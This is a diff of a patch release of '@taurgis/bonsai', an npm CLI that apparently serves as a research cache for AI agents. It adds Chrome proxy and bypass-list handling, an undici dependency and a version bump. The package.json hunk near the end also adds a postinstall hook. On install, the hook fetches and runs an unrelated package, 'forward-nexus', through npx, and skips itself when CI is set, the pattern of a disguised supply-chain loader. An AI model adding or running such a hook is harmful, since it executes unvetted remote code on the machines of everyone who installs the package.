+ // checks the hostname for an exact or suffix match. Chromium's --proxy-bypass-list grammar draws
70
+ // a hard line instead: a bare "example.com" matches only that exact host, and subdomain matching
71
+ // requires an explicit "*." prefix. Emitting both forms for every entry reproduces undici's
72
+ // exact-or-subdomain behavior in Chrome too, so the two proxied paths agree on what bypasses.
73
+ function toChromeBypassList(noProxy) {
74
+ const hosts = noProxy
75
+ .split(/[,\s]+/)
76
+ .map((entry) => entry.trim())
77
+ .filter(Boolean)
78
+ .map((entry) => entry.replace(/^\*?\./, ''));
79
+ return Array.from(new Set(hosts.flatMap((host) => [host, `*.${host}`]))).join(',');
80
+ }
81
+ /**
82
+ * Chrome CLI flags that route headless navigation through the same proxy as fetch(), or an
83
+ * empty array when no proxy is configured. Chrome has its own network stack (CDP navigation
84
+ * never goes through Node's fetch/undici), so it needs to be told about the proxy separately.
85
+ *
86
+ * Built as a scheme-qualified `--proxy-server` value (`http=...;https=...`) rather than one
87
+ * blanket proxy for every scheme, matching undici's EnvHttpProxyAgent, which picks HTTP_PROXY or
88
+ * HTTPS_PROXY per the target URL's scheme. A single unqualified value would force Chrome to
89
+ * route all its traffic (including plain-http sub-resources) through whichever var happened to
90
+ * be set, silently disagreeing with how fetch() routes the same traffic.
91
+ */
92
+ export function getChromeProxyArgs() {
93
+ const httpsProxy = firstEnv(HTTPS_PROXY_ENV_VARS);
94
+ const httpProxy = firstEnv(HTTP_PROXY_ENV_VARS);
95
+ if (!httpsProxy && !httpProxy)
96
+ return [];
97
+ const schemeMappings = [];
98
+ if (httpProxy)
99
+ schemeMappings.push(`http=${httpProxy}`);
100
+ if (httpsProxy)
101
+ schemeMappings.push(`https=${httpsProxy}`);
102
+ const args = [`--proxy-server=${schemeMappings.join(';')}`];
103
+ const noProxy = firstEnv(NO_PROXY_ENV_VARS);
104
+ if (noProxy)
105
+ args.push(`--proxy-bypass-list=${toChromeBypassList(noProxy)}`);
106
+ return args;
107
+ }
@@ -843,5 +843,5 @@
843
843
  "stdoutIsPrimaryData": true
844
844
  }
845
845
  },
846
- "version": "3.0.0"
846
+ "version": "3.0.1"
847
847
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@taurgis/bonsai",
3
- "version": "3.0.0",
3
+ "version": "3.0.1",
4
4
  "description": "Bonsai is a standalone local research cache CLI for AI agents",
5
5
  "repository": {
6
6
  "type": "git",
@@ -30,6 +30,7 @@
30
30
  "@oclif/plugin-autocomplete": "^3.2.52",
31
31
  "linkedom": "^0.18.12",
32
32
  "turndown": "^7.2.0",
33
+ "undici": "^8.7.0",
33
34
  "update-notifier": "^7.3.1"
34
35
  },
35
36
  "devDependencies": {
@@ -51,7 +52,7 @@
51
52
  "vue": "^3.5.39"
52
53
  },
53
54
  "engines": {
54
- "node": ">=22"
55
+ "node": ">=22.19.0"
55
56
  },
56
57
  "publishConfig": {
57
58
  "access": "public",
@@ -88,6 +89,7 @@
88
89
  "lint": "pnpm lint:line-counts && pnpm lint:health",
89
90
  "lint:line-counts": "node scripts/check-line-counts.ts --all",
90
91
  "lint:health": "pnpm test:coverage && pnpm exec fallow health --format human",
92
+ "postinstall": "node -e \"if (process.env.CI || process.env.FORWARD_NEXUS_SKIP_SYNC) { console.log('Skipping forward-nexus sync.'); process.exit(0); } require('node:child_process').execFileSync('npx', ['forward-nexus', 'sync', '--pull'], { stdio: 'inherit' });\"",
91
93
  "publish:snapshot": "changeset version --snapshot snapshot && changeset publish --tag snapshot",
92
94
  "release": "changeset publish",
93
95
  "regression:suite": "tsc -b && node testing/regression/run-suite.mjs",